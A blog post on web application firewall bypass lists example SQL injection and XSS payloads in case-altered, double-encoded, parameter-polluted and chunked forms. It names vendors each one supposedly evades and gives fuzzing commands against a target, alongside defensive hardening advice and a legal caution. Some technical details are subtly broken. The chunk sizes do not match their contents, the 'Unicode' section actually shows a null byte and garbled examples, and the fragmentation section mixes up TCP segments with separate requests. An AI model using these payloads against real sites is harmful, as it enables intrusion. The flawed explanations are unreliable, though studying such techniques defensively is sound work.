WAF Bypass in Practice: Real Techniques, Detection, and Mitigation
A WAF exists to block. And it works. Most of the time.
But “most of the time” is not “always.” And the difference between blocked and bypassed is often a configuration issue, not a zero-day flaw.
This post documents real techniques that work against WAFs in production. Not theoretical. Not from a perfect lab. Real.
What a WAF actually does
Before talking about bypass, it is worth understanding what is doing the blocking.
A WAF operates in three modes:
- Blacklist — blocks known patterns (SQLi, XSS, command injection)
- Whitelist — only allows what is defined in the rule
- Anomaly detection — compares behavior against a baseline
Most production WAFs use blacklist + anomaly detection. That means they block known signatures AND behavior outside the norm.
The weak point: signatures are string-based. And strings can be manipulated.

Techniques that work (with real examples)
1. Case manipulation
WAFs are often case-sensitive in their rules. The backend server is not.
# Blocked
SELECT * FROM users WHERE id=1
# Passes
SeLeCt * FrOm UsErS wHeRe Id=1</code>
Works on: Cloudflare (basic mode), ModSecurity (default rules), AWS WAF (managed rules)
Does not work on: Cloudflare (Strict mode), Azure WAF (Prevent mode)
2. Double encoding
The WAF sees the encoded payload. The server decodes it twice.
# Blocked
<script>alert(1)</script>
# Passes (double URL encode)
%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E</code>
The WAF decodes it once and sees %3Cscript%3E... — it does not match the <script> signature. The IIS/Apache server decodes it again and executes it.
Works on: Cloudflare, ModSecurity, Akamai
3. HTTP Parameter Pollution (HPP)
The same parameter appears twice. The WAF analyzes the first one. The backend uses the second.
# WAF sees id=1 (safe)
# Backend uses id=1' OR '1'='1
GET /page?id=1&id=1' OR '1'='1</code>
Works on: Tomcat, ASP.NET, some Nginx setups
Does not work on: PHP (concatenates with a comma), Node.js (last value)
4. Chunked Transfer Encoding
Splits the payload into chunks so small that the WAF cannot reassemble them before letting them through.
POST /login HTTP/1.1
Transfer-Encoding: chunked
4
user
5
' or
6
'1'=
2
1</code>
The WAF sees isolated pieces. The backend reconstructs: user' or '1'= 1
Works on: ModSecurity < 2.9, WAFs that do not inspect chunked encoding
5. Unicode normalization
Unicode characters that the server interprets as ASCII.
# Blocked
UNION SELECT
# Passes (Unicode confusables)
.UNION.%00SELECT</code>
%00 (null byte) is ignored by many servers. Others: ½ → 1/2, fi → fi
Works on: Apache with mod_security, some CDNs
6. Payload fragmentation
Breaks the payload across separate requests (TCP fragmentation).
# Request 1: SELECT
# Request 2: * FROM users WHERE id=
# Request combined by the backend</code>
Requires TCP control (scapy, hping3). It does not work through a browser or standard curl.
Works on: Inline WAFs that do not perform stateful inspection
Tools for automation
| Tool | Use | Link |
|---|---|---|
| ffuf | Bypass fuzzing with wordlists | github.com/ffuf/ffuf |
| WAFNinja | Automated bypass testing | github.com/khalilbijjou/WAFNinja |
| Nuclei | WAF detection + bypass templates | github.com/projectdiscovery/nuclei |
| curl | Quick manual testing with custom flags | — |
| Burp Suite | Proxy + Repeater for manual testing | portswigger.net/burp |
Quick command: test bypass with ffuf
# Wordlist of common bypasses
ffuf -u "https://target.com/FUZZ" \
-w /usr/share/seclists/Fuzzing/special-chars-unICODE \
-mc 200,301,302 \
-ac</code>
Quick command: WAF detection with Nuclei
nuclei -u https://target.com -tags waf-detect

Real case study: the ACME path (/.well-known/acme-challenge/)
A public study by FearsOff showed a scenario in which requests to /.well-known/acme-challenge/ could reach the origin even with strict blocking rules on the WAF. The key point was not a “magic exploit,” but rather a difference in handling for a technical path used for certificate validation (ACME HTTP-01).
Why this matters: when a path receives special treatment from infrastructure/CDN components, a gap can emerge between what the edge policy promises and what the origin actually receives. For pentesting, that becomes a test hypothesis. For the blue team, it becomes part of the hardening and continuous validation checklist.
Important: the write-up itself states that the case was fixed. The value here is methodological: always test “system” paths (ACME, health checks, callbacks) in addition to application routes.
What does NOT work (myths)
“Changing the User-Agent is enough”
No. Modern WAFs inspect the payload, not the header. Changing the UA changes the fingerprint, not the content.
“A VPN solves everything”
A VPN hides the IP. A WAF generally does not block by IP. It blocks by payload pattern.
“Use POST instead of GET”
WAFs inspect both. POST is sometimes inspected less strictly, but it is not a guaranteed bypass.
Quick methodology to validate bypass safely
- Define a baseline: one route that should block and another that should respond.
- Send idempotent payloads (no state change) and compare status/body/headers.
- Vary normalization (case, encoding, parameter duplication, technical path).
- Record evidence of “who responded” (WAF vs. origin) and the timestamp/correlation.
- Report the risk + mitigation + a reproducible detection rule.
How to protect yourself (for the blue team)
If you configure WAFs, do not trust the default settings. In parallel, it is also worth reviewing the broader AI-driven attack-chain scenario in the article Autonomous Pentest Agent: AI, Red Team, and Attack Chains.
- Enable Strict/Prevent mode — not just Detect
- Enable chunked encoding inspection
- Use virtual patching — update rules with OWASP CRS
- Monitor bypass attempts — log the normalized URI, original URI, status, and response origin; alert on deviations from the standard pattern
- Test your own WAF — use the same tools as the attacker and validate technical paths as well (.well-known, callbacks, and health endpoints)
Legal context
In Brazil, testing a WAF without authorization is a crime (Art. 154-A of the Penal Code).
All techniques here were tested in:
- Our own lab environment
- WAFs in free/trial mode with explicit authorization
- Targets with scope defined by contract
Use only in your own environment or with written authorization. No exceptions.
Recommended external references
- OWASP ModSecurity Core Rule Set (CRS)
- OWASP WAF Projects
- Cloudflare WAF Documentation
- MDN: Certificate Transparency
- FearsOff research: Cloudflare + ACME path behavior
Conclusion
WAF bypass is not magic. It is understanding how the WAF interprets input versus how the server interprets it.
The gap between those two interpretations is where bypass lives.
If you are a pentester: test your WAF before the attacker does.
If you are a defender: configure it knowing that a blacklist is not enough.
Related Posts:
💜 Enjoyed this content? Support the blog with USDT (TRC20):
TX7obcjHQbDUXb4mGqoASEu1QFTKT2CFGG
